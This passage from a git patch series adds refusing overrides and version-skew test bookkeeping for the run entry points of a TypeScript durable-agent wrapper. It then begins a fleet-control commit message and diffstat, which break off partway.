removes them', network: `${NETWORK_FAMILY_REASON}, and it mints an unowned run id when the caller omits one`, @@ -588,6 +633,8 @@ export const BLOCKED_RUN_ENTRIES = { generateLegacy: LEGACY_FAMILY_REASON, streamLegacy: LEGACY_FAMILY_REASON, sendToolApproval: THREAD_TOOL_APPROVAL_REASON, + __setThreadRuntimeAgent: + "it installs the agent every thread-runtime path then drives — subscribeToThread, claimThreadOwnership, sendMessage, queueMessage and sendStateSignal all resolve their target through the field it writes — so one call moves those starts onto an agent that carries none of this class's overrides: no caller-minted run id, no executeWorkflow, and no terminal refusal for a run the host start seam never registered", } as const; /** @@ -1146,6 +1193,30 @@ export class FlowsafeDurableAgent< ); } + /** + * Refuse the thread-level run enumerator newer cores add. + * `listActiveThreadRuns()` takes no arguments and returns a runId plus the + * resourceId and threadId parsed out of the key for every thread tracked on + * the pubsub instance, and core keys that state by pubsub instance rather + * than by agent — so it is the same discovery ground as + * {@link FlowsafeDurableAgent.listActiveRuns} with the last scoping gone. + * The in-process sibling `getActiveThreadRunId()` stays inherited because it + * makes the caller name the (resourceId, threadId) pair it confirms. + * + * Signature caveat, and the reason this one is not `async`: the base declares + * it SYNCHRONOUS (`listActiveThreadRuns(): ActiveThreadRun[]`), so the + * `async … Promise` shape every other refusal here carries would not + * be assignable to it. No `override` keyword either — the pinned 1.53.0 + * declares no such member, and `override` on a member the base lacks is a + * type error. Both are re-checks for a peer bump. + */ + listActiveThreadRuns(): never { + throw unavailableRunEntry( + 'listActiveThreadRuns', + BLOCKED_RUN_ENTRIES.listActiveThreadRuns, + ); + } + /** * Refuse the multi-agent network start. `network()` does not touch the * durable-agentic-loop at all: it compiles a SEPARATE workflow and drives it @@ -1271,6 +1342,31 @@ export class FlowsafeDurableAgent< ); } + /** + * Refuse the thread-runtime target swap newer cores add. It sets one private + * field, and every thread-runtime path — `subscribeToThread`, + * `claimThreadOwnership`, `sendMessage`, `queueMessage`, `sendStateSignal` — + * resolves its target through that field, falling back to `this`. So the + * containment those five inherited members rely on is virtual dispatch on + * `this`, and one call to this setter moves all five onto an agent with none + * of these overrides in the chain. That is the fourth ground reached by + * installing a second execution surface rather than by calling one. + * + * Signature caveat: the parameter is `unknown` rather than core's + * `Agent` because the pinned 1.53.0 declares no such + * member at all, while newest 1.x does — `unknown` is the one supertype of + * core's parameter, so it satisfies that base without depending on method + * bivariance, and it constrains nothing on the pin, where there is no base + * member to satisfy. No `override` keyword, for the same reason as + * {@link FlowsafeDurableAgent.listActiveThreadRuns}. + */ + __setThreadRuntimeAgent(_agent: unknown): never { + throw unavailableRunEntry( + '__setThreadRuntimeAgent', + BLOCKED_RUN_ENTRIES.__setThreadRuntimeAgent, + ); + } + /** * Refuse core's terminal snapshot cleanup. Its only call sites are the base * `executeWorkflow` (overridden here), the blocked `resume()` and the blocked diff --git a/packages/flowsafe/src/agent-runner/durable-agent-surface.test.ts b/packages/flowsafe/src/agent-runner/durable-agent-surface.test.ts index 0e969486..911060e1 100644 --- a/packages/flowsafe/src/agent-runner/durable-agent-surface.test.ts +++ b/packages/flowsafe/src/agent-runner/durable-agent-surface.test.ts @@ -84,17 +84,26 @@ const blockedEntries = Object.keys(BLOCKED_RUN_ENTRIES) as ReadonlyArray< * core DROPPING a durable blocked member pass silently, whereas an exact-match * assertion turns that into a failure that demands re-reading the member. * - * Three families beyond the discovery member: the NETWORK four, which drive + * Families beyond the two discovery members: the NETWORK four, which drive * the multi-agent loop's own workflow with `createRun + run.stream/resumeStream` * outside RunnerRuntime (and `network()` mints its own run id); the LEGACY * pair, which run the agent's tools through AgentLegacyHandler while minting a - * run id and skipping `requireAgentExecutionFGA`; and `sendToolApproval`, - * whose continuation branch starts a run under a `randomUUID()` fallback. + * run id and skipping `requireAgentExecutionFGA`; `sendToolApproval`, whose + * continuation branch starts a run under a `randomUUID()` fallback; and + * `__setThreadRuntimeAgent`, which installs the agent the thread runtime drives + * in place of this one. + * + * `__setThreadRuntimeAgent` and `listActiveThreadRuns` sit on no prototype at + * all on the pinned core, which exposes neither, so they carry VERSION_SKEW + * rows. The exact-match assertion holds at both versions all the same: absent + * from DurableAgent.prototype counts as outside it. */ const blockedOnAgentPrototype = [ + '__setThreadRuntimeAgent', 'approveNetworkToolCall', 'declineNetworkToolCall', 'generateLegacy', + 'listActiveThreadRuns', 'listSuspendedRuns', 'network', 'resumeNetwork', @@ -124,14 +133,20 @@ const blockedByRunner = blockedEntries.filter( ); /** - * Constructors, accessors, registration hooks and delegators. None of them can - * start, resume or re-drive a run, and none reads snapshot storage. + * Constructors, accessors, registration hooks, delegators and stop-only + * controls. None of them can start, resume or re-drive a run, and none reads + * snapshot storage. * * Honest caveat: `getWorkflow`, `getDurableWorkflows` and `listWorkflows` * return objects that themselves expose `createRun().start()`, and they are * load-bearing rather than removable — `executeWorkflow` and `resumeViaRuntime` * both read `this.getWorkflow()`. So this partition classifies ENTRY POINTS ON * THE AGENT, not the capabilities of the objects they hand back. + * + * Offsets in the reasons below are @mastra/core 1.67.0-vintage, in + * dist/create-durable-agent-DFHwqN2K.js unless another file is named; the + * members carrying one are absent from the pinned peer's durable prototype and + * so have a VERSION_SKEW row. */ const nonExecution = [ '__fork', @@ -141,6 +156,11 @@ const nonExecution = [ '__getStaticAgents', '__hasSubAgentsConfigured', '__registerMastra', + // Writes declarative schedule metadata onto the wrapped agent (:6240). A + // schedule Mastra later syncs into schedule storage still reaches this agent + // through a start seam, where a run the host never registered is terminally + // refused — so the worst case is a fail-closed refusal, not a start. + '__setDeclaredSchedules', '__setMastra', '__setMemory', '__setPubSub', @@ -148,6 +168,17 @@ const nonExecution = [ '__setWorkspace', '__updateInstructions', '__updateModel', + // Stop an in-flight run; there is no path from either to starting one. What + // they gained at 1.67.0 is reach and disclosure, not a mint: #abortDurableRun + // (:6598) flips any locally held controller and then calls + // requestRemoteAbort (:6626), which publishes an abort request over pubsub + // (:272) to whichever process holds the run — and abortRunStream returns + // `aborted || this.#isRunExecuting(runId)` (:6585), a boolean existence + // oracle for a run id the caller may not own. Both stay classified on the + // Agent level too: they are on Agent.prototype at the pin and shadowed here + // only at 1.67.0. + 'abortRunStream', + 'abortThreadStream', 'agent', 'browser', 'cache', @@ -159,12 +190,18 @@ const nonExecution = [ // Publishes an error event onto the run's feed; executeWorkflow and // resumeViaRuntime both use it after a terminal summary. 'emitError', + // The fire-and-forget half of emitError (:6548), which core calls from its + // own failure paths; it publishes onto a run's feed and starts nothing. + 'emitErrorInBackground', 'enableBackgroundTasks', 'getBackgroundTasksConfig', 'getChannels', 'getConfiguredProcessorIds', 'getConfiguredProcessorWorkflows', 'getConfiguredToolHooks', + // Reads that schedule metadata back off the wrapped agent (:6233); it returns + // no run ids and touches no storage. + 'getDeclaredSchedules', 'getDefaultGenerateOptionsLegacy', 'getDefaultNetworkOptions', 'getDefaultOptions', @@ -204,6 +241,13 @@ const nonExecution = [ 'pubsub', 'pubsubInternal', 'requestContextSchema', + // The abort primitive the two methods above share (:6626), and never blocked; + // the inventory asserts that rather than leaving it to this note. core calls + // it from #abortDurableRun (:6601) and from the `abort` closure it returns + // with each durable stream result (:6814, :7095, :7265, :7796), so refusing + // it would reject the abort handle handed to every consumer of a run this + // class itself started. + 'requestRemoteAbort', 'resolveProcessorById', 'runRegistry', 'runRegistryInternal', @@ -225,11 +269,11 @@ const classified: readonly string[] = [ * * The inventory above covers DurableAgent.prototype. But Mastra calls the * INSTANCE, and the instance also inherits every `Agent.prototype` member - * DurableAgent does not shadow — 82 of them, including the network family, the - * legacy pair and sendToolApproval, all of which drive execution. Classifying - * only the durable half would leave that surface unpinned, so it gets the same - * treatment: every name in exactly one list, nothing unclassified, nothing - * stale. + * DurableAgent does not shadow — a surface whose size differs between the two + * supported cores, including the network family, the legacy pair and + * sendToolApproval, all of which drive execution. Classifying only the durable + * half would leave that surface unpinned, so it gets the same treatment: every + * name in exactly one list, nothing unclassified, nothing stale. * --------------------------------------------------------------------------- */ const agentSurface = Object.getOwnPropertyNames(Agent.prototype).filter( @@ -249,6 +293,16 @@ const agentSurface = Object.getOwnPropertyNames(Agent.prototype).filter( * for the cleanup mechanism. */ const delegatingToGuard = [ + // Opts the agent in as a thread's remote wake target: the thread runtime + // keeps the claim and, on an idle signal published by another process, drives + // `owner.agent.stream(...)` (storage-MbGlKLkB.js:672) with a run id from that + // message. `owner.agent` is `this`, so that lands on the guarded stream + // override — but the runId assertion is not what contains it, since a + // pubsub-supplied id is path-safe like any other; the terminal refusal + // `executeWorkflow` raises for a runId with no `#startRequesters` entry is. + // The containment holds only while `__setThreadRuntimeAgent` is blocked, + // which is what makes `owner.agent` this instance. + 'claimThreadOwnership', 'queueMessage', 'resumeStreamUntilIdle', 'sendMessage', @@ -267,10 +321,17 @@ const delegatingToGuard = [ * listActiveRuns / recoverActiveRuns / observe / prepare. DurableAgent shadows * all six, so they are not in this surface at all — the test below asserts * that rather than trusting it. + * + * Offsets in the reasons below are @mastra/core 1.67.0-vintage, in + * dist/agent-Dk0N0Nlg.js unless another file is named; a member carrying one is + * absent from the pinned peer's Agent prototype, or sits there at a different + * level, and so has a VERSION_SKEW row. */ const agentNonExecution = [ '__getDrainPendingSignals', '__listLLMRequestProcessors', + // Sets the flag core's __fork path reads (:35357). + '__markStoredVersionApplied', '__registerPrimitives', '__resetToOriginalModel', // Run the processor chain, not a run. No run id, no storage. @@ -278,16 +339,31 @@ const agentNonExecution = [ '__runOutputProcessors', '__runProcessInputStep', // Stop an in-flight stream; there is no path from either to starting one. + // Classified on the durable level too: DurableAgent shadows both at 1.67.0 + // and they leave this surface there, and the durable entry carries the reason + // for the cross-process reach that override adds. 'abortRunStream', 'abortThreadStream', 'assertSupportsPreparedModels', + // Removes pending idle signals from the in-process queue, matched on the + // agent core passes — `this`, not the thread-runtime target (:38342) — and on + // ids the caller already holds. It cancels work; it starts none. + 'cancelQueuedMessages', // Objective read/write over thread state; drives nothing. 'clearObjective', 'combineProcessorsIntoWorkflow', 'convertTools', 'deriveSubAgentBackgroundConfig', + // Returns the peer advertisements one pubsub instance carries — + // agentId/resourceId/threadId plus optional label, title and metadata + // (storage-MbGlKLkB.js:425-437), and no run ids. Honest caveat: that + // disclosure is empty only while one PubSub instance serves one thread, which + // is a deployment property this inventory cannot assert. + 'discoverThreadPeers', // Field accessor for the durable flag. 'durable', + // Pure title-generation prefilter over a message list (:35450). + 'filterUiMessagesByThread', 'formatMessagePartsForTitle', 'formatMessagesForTitle', 'formatTools', @@ -336,6 +412,12 @@ const agentNonExecution = [ 'resolveInputProcessors', 'resolveModelConfig', 'resolveModelSelection', + // Runs the configured delivery policy for one notification record and returns + // a decision. Core reads that decision's `streamOptions` when it wakes an + // idle thread (storage-MbGlKLkB.js:2814-2816), inside a try/catch that + // degrades to a bare wake — so it feeds a start core makes, and cannot make + // one. + 'resolveNotificationDeliveryDecision', 'resolveOverrideScorerReferences', 'resolveSkills', 'resolveTitleGenerationConfig', @@ -343,6 +425,9 @@ const agentNonExecution = [ 'resolveToolHooks', 'setObjective', 'stripParentToolParts', + // Registers a listener that receives queued-message counts for the thread the + // caller names (:38348); it discloses a count and drives nothing. + 'subscribeThreadEvents', // Reattaches to a thread's pubsub replay; cannot drive a run. 'subscribeToThread', 'updateModelInModelList', @@ -357,6 +442,114 @@ const agentClassified: readonly string[] = [ ...agentNonExecution, ]; +/** + * --------------------------------------------------------------------------- + * The VERSION SKEW between the two supported cores. + * + * Both partitions above demand exact equality with the installed surface: + * nothing unclassified, nothing stale. But two cores are supported — the + * workspace installs the declared peer pin, and the mastra-compat canary job + * installs the newest 1.x and runs this suite against that — and one partition + * cannot equal two surfaces. So every name whose PRESENCE differs between them + * is recorded here, with the prototype level it sits on at each version; + * `null` means it is on neither prototype there. A member that MOVED level is + * ONE row naming both levels, not two list edits in opposite directions. + * + * A row excuses its name from the stale check at the level the installed core + * does not carry it on. It never excuses it from being classified: every level + * a row names must hold that name in one of its lists, so a moved member is + * classified on both sides, and the two `unclassified` assertions stay exact in + * both directions. + * + * A row leaves the table when both cores agree. The expiry assertion below says + * when, by checking the table's claim about the INSTALLED core rather than + * trusting it. + * --------------------------------------------------------------------------- + */ +type SkewLevel = 'durable' | 'agent' | null; + +const VERSION_SKEW = { + __markStoredVersionApplied: { pin: null, newest: 'agent' }, + __setDeclaredSchedules: { pin: null, newest: 'durable' }, + __setThreadRuntimeAgent: { pin: null, newest: 'agent' }, + abortRunStream: { pin: 'agent', newest: 'durable' }, + abortThreadStream: { pin: 'agent', newest: 'durable' }, + cancelQueuedMessages: { pin: null, newest: 'agent' }, + claimThreadOwnership: { pin: null, newest: 'agent' }, + discoverThreadPeers: { pin: null, newest: 'agent' }, + emitErrorInBackground: { pin: null, newest: 'durable' }, + filterUiMessagesByThread: { pin: null, newest: 'agent' }, + getDeclaredSchedules: { pin: null, newest: 'durable' }, + listActiveThreadRuns: { pin: null, newest: 'agent' }, + requestRemoteAbort: { pin: null, newest: 'durable' }, + resolveNotificationDeliveryDecision: { pin: null, newest: 'agent' }, + subscribeThreadEvents: { pin: null, newest: 'agent' }, +} as const satisfies Record; + +type SkewName = keyof typeof VERSION_SKEW; +const skewNames = Object.keys(VERSION_SKEW) as SkewName[]; + +interface FsModule { + readFileSync(path: URL, encoding: 'utf8'): string; +} +interface ModuleModule { + createRequire(url: string): (id: string) => unknown; +} + +/** + * Node builtins load through process.getBuiltinModule (the spdx.test.ts + * pattern): this file compiles in the workers-typed package test pass, which + * has no @types/node to resolve a `node:` specifier against, and this package's + * src forbids importing one statically. + */ +function builtin(id: string): T { + const getBuiltin = ( + globalThis as { + process?: { getBuiltinModule?: (id: string) => unknown }; + } + ).process?.getBuiltinModule; + if (!getBuiltin) { + throw new Error(`${id} unavailable — tests require node >= 22`); + } + return getBuiltin(id) as T; +} + +// The workers-typed ImportMeta carries no `url`; at runtime (vitest on node) it +// is always present. +const HERE = (import.meta as unknown as { url: string }).url; +const installedCore = ( + builtin('node:module').createRequire(HERE)( + '@mastra/core/package.json', + ) as { version: string } +).version; +const declaredPeer = ( + JSON.parse( + builtin('node:fs').readFileSync( + new URL('../../package.json', HERE), + 'utf8', + ), + ) as { peerDependencies: Record } +).peerDependencies['@mastra/core']; + +/** Which core is installed decides which half of every row applies. */ +const onPin = installedCore === declaredPeer; +const levelHere = (name: SkewName): SkewLevel => + onPin ? VERSION_SKEW[name].pin : VERSION_SKEW[name].newest; + +/** + * The names one level's stale check must excuse: recorded as skewed, not on + * that level in the installed core, and classified at that level. The last + * clause is load-bearing — it keeps the other level's rows out of this level's + * arithmetic, so each length assertion below still counts its own partition. + */ +const exemptFor = ( + level: Exclude, + lists: readonly string[], +): string[] => + skewNames.filter((name) => levelHere(name) !== level && lists.includes(name)); +const exemptDurable = exemptFor('durable', classified); +const exemptAgent = exemptFor('agent', agentClassified); + const RUN_ID = 'run-1'; const APPROVED = { approved: true }; @@ -442,13 +635,25 @@ function testAgent(id = 'writer'): Agent { * `network()` resolves as soon as it has a stream object, before its loop * settles, so at assertion time the base has touched `getStore` >= 1 rather * than the larger figure a fully drained run reaches. Do not pin a number. - * - generateLegacy / streamLegacy: VACUOUS by construction, and therefore the - * two rows the control excludes. `testAgent()` uses a v2 model, and the - * legacy handler rejects a non-v1 model before touching storage at all, so - * the base reaches no store either. Their non-vacuous evidence is the - * refusal MESSAGE assertion — the base throws core's model-support error, - * the override throws FlowSafe's tabled reason, and only the latter - * satisfies the row. + * - generateLegacy / streamLegacy: VACUOUS by construction, and so listed + * in `vacuousByConstruction`, which is what the control excludes. + * `testAgent()` uses a v2 model, and the legacy handler rejects a non-v1 + * model before touching storage at all, so the base reaches no store + * either. Their non-vacuous evidence is the refusal MESSAGE assertion — + * the base throws core's model-support error, the override throws + * FlowSafe's tabled reason, and only the latter satisfies the row. + * - listActiveThreadRuns / __setThreadRuntimeAgent: VACUOUS by construction + * as well, and in `vacuousByConstruction` on that ground rather than on the + * pin exposing neither of them. In the core that does, @mastra/core 1.67.0, + * `__setThreadRuntimeAgent` writes a private field + * (dist/agent-Dk0N0Nlg.js:33609-33611), and `listActiveThreadRuns` hands + * `getPubSub()` (:33560-33562) to the thread-stream runtime, which reads + * its state from a WeakMap keyed by that pubsub instance + * (dist/storage-MbGlKLkB.js:150, :294-298) and iterates two in-memory maps + * (:1011-1023). Neither path resolves a store, so there is nothing for the + * control to observe at either core. Their non-vacuous evidence is the + * refusal MESSAGE assertion too — the base returns where the override + * throws FlowSafe's tabled reason. * * All spies are installed after construction AND after that resolution, so * neither Mastra's own setup nor the resolution itself can be mistaken for a @@ -544,6 +749,14 @@ const blockedCalls: ReadonlyArray<{ method: 'listSuspendedRuns', invoke: (agent) => agent.listSuspendedRuns(), }, + { + method: 'listActiveThreadRuns', + // An ASYNC arrow although the member is synchronous, and that is not + // decoration: the loop below evaluates invoke(agent) before attaching its + // .catch, so a synchronous throw would escape the row that exists to + // capture it and fail the test with the refusal it is asserting. + invoke: async (agent) => agent.listActiveThreadRuns(), + }, { method: 'deleteRunSnapshots', invoke: (agent) => @@ -608,6 +821,12 @@ const blockedCalls: ReadonlyArray<{ approved: true, }), }, + { + method: '__setThreadRuntimeAgent', + // Async for the same reason as listActiveThreadRuns. The argument is a + // plain Agent because that is exactly what installing one would hand it. + invoke: async (agent) => agent.__setThreadRuntimeAgent(testAgent()), + }, ]; describe('FlowsafeDurableAgent prototype surface inventory', () => { @@ -632,21 +851,26 @@ describe('FlowsafeDurableAgent prototype surface inventory', () => { ); expect( unclassified, - `@mastra/core exposes new DurableAgent member(s) [${unclassified.join(', ')}]. Read each implementation in the installed dist, then add it to exactly one list in this file: guardedByRunner (needs an INV-1 override), guardedByDelegation (reaches a guarded entry through 'this.'), nonExecution (cannot start, resume or re-drive a run, and returns no run ids), or — if it matches ANY of the four blocked grounds: (1) re-drives a persisted run below executeWorkflow, (2) discovers runs without the host topology's per-principal ownership checks, (3) deletes snapshot rows retention owns, or (4) is a second execution surface outside RunnerRuntime, or mints a run id below the caller — add it to BLOCKED_RUN_ENTRIES in durable-agent-runner.ts with its reason, an override that throws, and a row in blockedCalls below.`, + `@mastra/core exposes new DurableAgent member(s) [${unclassified.join(', ')}]. Read each implementation in the installed dist, then add it to exactly one list in this file: guardedByRunner (needs an INV-1 override), guardedByDelegation (reaches a guarded entry through 'this.'), nonExecution (cannot start, resume or re-drive a run, and returns no run ids), or — if it matches ANY of the four blocked grounds: (1) re-drives a persisted run below executeWorkflow, (2) discovers runs without the host topology's per-principal ownership checks, (3) deletes snapshot rows retention owns, or (4) is a second execution surface outside RunnerRuntime, or mints a run id below the caller — add it to BLOCKED_RUN_ENTRIES in durable-agent-runner.ts with its reason, an override that throws, and a row in blockedCalls below. If the OTHER supported core does not carry it here, give it a VERSION_SKEW row too, naming the prototype level it sits on at each version.`, ).toEqual([]); - // #then and nothing classified has since been removed from it - const stale = classified.filter((property) => !surface.includes(property)); + // #then and nothing classified has since been removed from it, beyond the + // members a VERSION_SKEW row says this core does not carry here + const stale = classified.filter( + (property) => + !surface.includes(property) && !exemptDurable.includes(property), + ); expect( stale, - `this file classifies DurableAgent member(s) [${stale.join(', ')}] that the installed core no longer exposes — drop them, and drop any override that exists only for them.`, + `this file classifies DurableAgent member(s) [${stale.join(', ')}] that @mastra/core ${installedCore} does not expose there — drop them, and drop any override that exists only for them, or, if the other supported core carries them, give each a VERSION_SKEW row naming the level it sits on at each version.`, ).toEqual([]); - // #then and the partition covers the surface exactly, name for name + // #then and the partition covers the surface exactly, name for name, plus + // exactly the skewed members this core does not carry here expect( - classified, - 'the classified lists must partition the durable surface exactly — same length means no member is counted twice or missed', - ).toHaveLength(surface.length); + classified.length, + `the classified lists must partition the durable surface exactly — every member once, plus exactly the ${exemptDurable.length} skewed member(s) @mastra/core ${installedCore} does not expose on DurableAgent.prototype`, + ).toBe(surface.length + exemptDurable.length); // #then and it is entirely string-keyed: this partition enumerates own // STRING names, so a symbol-keyed execution member would sail past every @@ -743,23 +967,26 @@ describe('FlowsafeDurableAgent prototype surface inventory', () => { ); expect( unclassified, - `@mastra/core exposes new inherited Agent member(s) [${unclassified.join(', ')}] that FlowsafeDurableAgent also inherits. Read each implementation in the installed dist, then add it to exactly one list: delegatingToGuard (reaches a guarded or blocked member through 'this.'), agentNonExecution (cannot start, resume or re-drive a run, and returns no run ids), or — if it matches any of the four blocked grounds: (1) re-drives a persisted run below executeWorkflow, (2) discovers runs without the host topology's per-principal ownership checks, (3) deletes snapshot rows retention owns, or (4) is a second execution surface outside RunnerRuntime, or mints a run id below the caller — add it to BLOCKED_RUN_ENTRIES with a reason, an override that throws, and a row in blockedCalls.`, + `@mastra/core exposes new inherited Agent member(s) [${unclassified.join(', ')}] that FlowsafeDurableAgent also inherits. Read each implementation in the installed dist, then add it to exactly one list: delegatingToGuard (reaches a guarded or blocked member through 'this.'), agentNonExecution (cannot start, resume or re-drive a run, and returns no run ids), or — if it matches any of the four blocked grounds: (1) re-drives a persisted run below executeWorkflow, (2) discovers runs without the host topology's per-principal ownership checks, (3) deletes snapshot rows retention owns, or (4) is a second execution surface outside RunnerRuntime, or mints a run id below the caller — add it to BLOCKED_RUN_ENTRIES with a reason, an override that throws, and a row in blockedCalls. If the OTHER supported core does not carry it here — because it is newer than the pin, or because DurableAgent shadows it there — give it a VERSION_SKEW row naming the level it sits on at each version, and classify it on every level that row names.`, ).toEqual([]); - // #then and nothing classified has since been removed from it + // #then and nothing classified has since been removed from it, beyond the + // members a VERSION_SKEW row says this core does not carry here const stale = agentClassified.filter( - (property) => !agentSurface.includes(property), + (property) => + !agentSurface.includes(property) && !exemptAgent.includes(property), ); expect( stale, - `this file classifies inherited Agent member(s) [${stale.join(', ')}] the installed core no longer exposes there — drop them, and drop any override that exists only for them.`, + `this file classifies inherited Agent member(s) [${stale.join(', ')}] that @mastra/core ${installedCore} does not expose there — drop them, and drop any override that exists only for them, or, if DurableAgent has merely started shadowing them, give each a VERSION_SKEW row naming both levels and classify it on the durable side as well.`, ).toEqual([]); - // #then and the surface is the size this file was written against + // #then and the partition covers that surface exactly, plus exactly the + // skewed members this core does not carry at this level expect( - agentSurface, - 'the count of Agent.prototype members DurableAgent does not shadow has moved; re-derive the three Agent-level lists from the installed dist', - ).toHaveLength(82); + agentClassified.length, + `the classified lists must partition the inherited Agent surface exactly — every member once, plus exactly the ${exemptAgent.length} skewed member(s) @mastra/core ${installedCore} does not expose there`, + ).toBe(agentSurface.length + exemptAgent.length); // #then and it is entirely string-keyed: this partition enumerates own // STRING names, so a symbol-keyed execution member would sail past every @@ -770,6 +997,45 @@ describe('FlowsafeDurableAgent prototype surface inventory', () => { ).toEqual([]); }); + it('keeps the version-skew table honest against the installed core', () => { + // #given the table's two halves are selected by comparing the installed + // core with the declared peer, which only means "the pinned run" while that + // peer is an EXACT version. Against a range, a pinned install would compare + // unequal, take the canary half, and excuse the wrong names on both levels. + expect( + declaredPeer, + 'the version-skew halves key on @mastra/core being an exact peer pin; widen the peer and this mechanism must be redesigned', + ).toMatch(/^\d+\.\d+\.\d+$/); + + // #when the installed core's two surfaces are enumerated + const surface = Object.getOwnPropertyNames(DurableAgent.prototype); + + // #then every level a row names still holds that name in one of the lists + // for that level: a row excuses a name from the stale check, it never + // classifies it, and a member that moved level is classified on both sides + for (const name of skewNames) { + for (const level of [VERSION_SKEW[name].pin, VERSION_SKEW[name].newest]) { + if (!level) continue; + expect( + level === 'durable' ? classified : agentClassified, + `VERSION_SKEW says ${name} sits on the ${level} prototype at one of the two supported cores, so it must appear in one of that level's partition lists — the row excuses it from the stale check, it does not classify it`, + ).toContain(name); + } + } + + // #then and the table's claim about the INSTALLED core holds. Checking the + // claim rather than one direction catches all three ways a row goes wrong — + // the pin catches up, the member moves level again, or it dies upstream — + // and the message names which of them to look for. + for (const name of skewNames) { + const claimed = levelHere(name); + expect( + { durable: surface.includes(name), agent: agentSurface.includes(name) }, + `VERSION_SKEW says ${name} sits on ${claimed ?? 'neither prototype'} at @mastra/core ${installedCore} (declared peer ${declaredPeer}). Re-read the installed dist: if both supported cores now agree, drop the row and let the stale check cover it again; if it is on neither core, delete it from the classification lists too; if it moved level again, update the row and classify it on the level it moved to.`, + ).toEqual({ durable: claimed === 'durable', agent: claimed === 'agent' }); + } + }); + it('keeps the base durable delegators out of the inherited surface', () => { // #given core also defines resume/recover/... on Agent as standalone // delegators. DurableAgent shadows all six, so they never reach this @@ -864,6 +1130,27 @@ describe('FlowsafeDurableAgent prototype surface inventory', () => { } }); + it('keeps requestRemoteAbort untabled and inherited', () => { + // #given the abort primitive core reaches on its own, classified in + // nonExecution. Blocking it would be a well-formed block — a tabled reason, + // an override and a behavioral row — so the structural assertions above + // hold either way and its exemption needs an assertion of its own. + const why = + 'core calls it from #abortDurableRun and from the `abort` closure it returns with each durable stream result, so refusing it rejects the abort handle of every run this class itself started'; + + // #then no tabled reason, so nothing here demands an override for it + expect( + Object.hasOwn(BLOCKED_RUN_ENTRIES, 'requestRemoteAbort'), + `requestRemoteAbort() must stay out of BLOCKED_RUN_ENTRIES: ${why}`, + ).toBe(false); + + // #then and no own override, which is where a refusal would live + expect( + Object.hasOwn(FlowsafeDurableAgent.prototype, 'requestRemoteAbort'), + `requestRemoteAbort() must stay inherited: ${why}`, + ).toBe(false); + }); + it('keeps resumeViaRuntime as the only resume path', () => { // #given resumeViaRuntime is FlowSafe's own, not part of core's surface const agent = createFlowsafeDurableAgent({ @@ -954,11 +1241,13 @@ describe('FlowsafeDurableAgent blocked recovery entry points', () => { * run) — swallowed, because the claim is only that storage was reached BEFORE * they did. * - * generateLegacy/streamLegacy are excluded: they are vacuous by construction, - * for the reason registeredAgent() records. + * The rows in `vacuousByConstruction` are excluded: their base path reaches + * no store to spy on, for the reasons registeredAgent()'s notes give. */ const vacuousByConstruction: readonly string[] = [ + '__setThreadRuntimeAgent', 'generateLegacy', + 'listActiveThreadRuns', 'streamLegacy', ]; @@ -971,6 +1260,23 @@ describe('FlowsafeDurableAgent blocked recovery entry points', () => { new DurableAgent({ agent: testAgent() }), ); + // #given a member the INSTALLED core does not expose has nothing to read + // and nothing to prove, so this row cannot bite here. Require that + // absence to be a RECORDED skew rather than skipping on it: an unlisted + // absence means the override refuses a member neither supported core has, + // and belongs nowhere. Self-expiring, unlike a second exclusion list — + // the row bites again the moment the installed core grows the member. + if ( + typeof (agent as unknown as Record)[method] !== + 'function' + ) { + expect( + skewNames, + `${method}() is blocked and has a behavioral row, but @mastra/core ${installedCore} does not expose it on the base at all. Either record it in VERSION_SKEW with the level it holds on the other supported core, or drop the override and its row.`, + ).toContain(method); + return; + } + // #when the base implementation runs await invoke(agent as unknown as FlowsafeDurableAgent).catch( () => undefined, From eaf53a04e6b968c10d1abc7ff4bce2848013d0fe Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 17 Sep 2026 11:17:03 +0400 Subject: [PATCH 168/169] fix(fleet-control): attest the export bucket once, cancel unread bodies Residue round RS-A closes the 46 fleet-control review findings the PC-2, PC-5 and PC-6 lanes left open, over `packages/fleet-control` (`src/`, the credentialed-CLI `scripts/`, `test/`, `CLAUDE.md` and both tsconfigs), `docs/fleet-control.md` and three changesets. src: `FLEET_OPERATION_STORE_ADVANCE_MEMBERS` and `FLEET_INVENTORY_GENERATION_READ_MEMBERS` replace hand-written member lists, `applicationR2ResourceFromProgress` replaces three inline derivations, and `CloudflareAdvanceFleetMigrationOptions.onComplete` carries a fully qualified `{@link}` that `pnpm docs:api` resolves. Comments and TypeDoc here, in `scripts/` and in the audit fixtures no longer cite bare plan names, section-sign citations or `file:line` anchors. `tsconfig.json` adds `vitest.config.ts` to its program and `tsconfig.build.json` excludes it, so `dist/` is unchanged. scripts: the teardown attests the export bucket once for the object deletes and the bucket delete, so a resume owing only the bucket delete attests before it reads the prefix. The R2 readback cancels the response body at the two header refusals that precede the read (`cancelAndRefuse`). The CLI entry reads its stdout bytes through a new `directStdoutOf`, beside the existing `directWritesStderr`; one exported `sweepStagedFiles` replaces `sweepStagedSnapshots` and the evidence writer's copy of that loop; the re-export shim in `direct-credentialed-run-state` is gone and its consumers import the vocabulary leaf. `mutationPending` replaces four copies of the pending-mutation test; `DIRECT_TENANT_ROUTES` names the four `/__direct` paths the tenant Worker, the fence dispatcher, the reference Worker and the test harness each spelled; `isProbeOperation` replaces a three-literal chain; `readFenceBody` takes `emptyBodyAllowed` where it took an inverted `probe`. tests: new cases cover the migrating-phase artifact-version refusal, the export hash race, a non-list Wrangler inventory result, the single bucket attestation and its resume path, the released export body, the evidence identity-path set and an evidence-only resume. The Wrangler `FakeRunner` refuses unstubbed argv; the provisioning fake gives databases and domains ids that differ from their names; the three `fleet-operation-state.test.ts` titles that collided with `fleet-migration-advance.test.ts` now name their kind. docs: the attest-the-active-route paragraph is rewritten to name the paths that reach `attestConvergedActiveRoute()`; the operation page limit cross-references its own section instead of restating it; the exit-code table's credential-collision cell moves into the output-guard paragraph. `CLAUDE.md`'s source map names `refuseRedirectStatus` and `cancelBodyWithoutAwait` and stops listing the `scripts/` modules by role. Justifications nothing checks are removed from the guide and the three changesets, and `operation-store-port-requirements` is raised to minor. Co-Authored-By: Claude Fable 5.1 --- .changeset/bounded-cleanup-receipts.md | 2 +- .changeset/bounded-fleet-inventory.md | 2 +- .../operation-store-port-requirements.md | 4 +- docs/fleet-control.md | 14 +-- packages/fleet-control/CLAUDE.md | 6 +- ...ect-credentialed-conformance-runtime.d.mts | 5 + ...irect-credentialed-conformance-runtime.mjs | 38 +++---- .../direct-credentialed-conformance.mjs | 7 +- .../direct-credentialed-evidence.d.mts | 7 +- .../scripts/direct-credentialed-evidence.mjs | 28 ++--- 